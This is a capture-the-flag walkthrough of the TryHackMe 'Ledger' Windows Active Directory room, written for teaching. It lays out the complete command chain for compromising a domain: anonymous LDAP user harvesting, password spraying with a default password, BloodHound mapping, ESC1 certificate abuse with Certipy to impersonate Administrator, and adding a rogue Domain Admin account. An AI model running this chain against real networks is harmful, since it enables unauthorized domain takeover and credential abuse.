Ledger writeup & walkthrough

Ledger is a medium TryHackMe Windows Active Directory room involving LDAP enumeration, BloodHound analysis, and credential-based lateral movement to compromise the domain.

TryHackMe: Ledger

Access Path

no access => domain user => Domain Admin

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Room: https://tryhackme.com/room/ledger

Video: https://youtu.be/IErucQo4ck0?si=1MC3iGvzbTotzEd5

Recon & LDAP Enumeration

After adding the host to /etc/hosts, anonymous LDAP enumeration pulls user accounts; the description fields and sAMAccountNames give us a username list (and a default password).

# Add target host to /etc/hosts for easy resolution
vim /etc/hosts
# [ip] labyrinth.thm.local labyrinth

# Enumerate LDAP anonymously for user accounts
ldapsearch -x -H ldap://10.10.130.213 -b "dc=thm,dc=local" "(objectClass=person)" > ldapresults.txt

# Extract descriptions (can contain passwords)
cat ldapresults.txt | grep "description"

# Extract sAMAccountName (usernames) to file
cat ldapresults.txt | grep sAMAccountName: | cut -f2 -d" " > ldap_users.txt

Password Spraying with Known Password

Spray the enumerated users against SMB with the default password to find valid accounts.

# Spray all enumerated users against SMB with known default password
crackmapexec smb 10.10.180.201 -u ldap_users.txt -p 'CHANGEME2023!'

BloodHound Enumeration (Authenticated)

With valid credentials we collect the full domain graph using bloodhound-python to map attack paths.

# Enumerate domain with valid credentials
sudo bloodhound-python \
  -d THM.LOCAL \
  -u IVY_WILLIS \
  -p 'CHANGEME2023!' \
  -ns 10.10.130.213 \
  -c all

AD CS Enumeration & Abuse with Certipy

A vulnerable certificate template (ESC1-style) lets us request a certificate for Administrator with Certipy, then authenticate with it to get an LDAP shell.

# Using Certipy to request a certificate for Administrator (ESC1-like abuse)
certipy req \
  -u '[email protected]' \
  -p 'CHANGEME2023!' \
  -dc-ip '10.10.130.213' \
  -target 'labyrinth.thm.local' \
  -ca 'thm-LABYRINTH-CA' \
  -template 'ServerAuth' \
  -upn '[email protected]'

# Authenticate with the issued cert and spawn LDAP shell
certipy auth -pfx administrator.pfx -dc-ip 10.10.130.213 -ldap-shell

Privilege Escalation in AD

From the LDAP shell we create a new account and add it to Domain Admins.

# From LDAP shell, create a new DA account
add_user Mishky
add_user_to_group Mishky "Domain Admins"

Domain Admin Access via RDP

Log in over RDP with the new Domain Admin account for full control.

# Log in with the new DA account
xfreerdp /v:10.10.130.213 /u:THM.LOCAL\\Mishky /p:Password00 \
  /dynamic-resolution /cert:ignore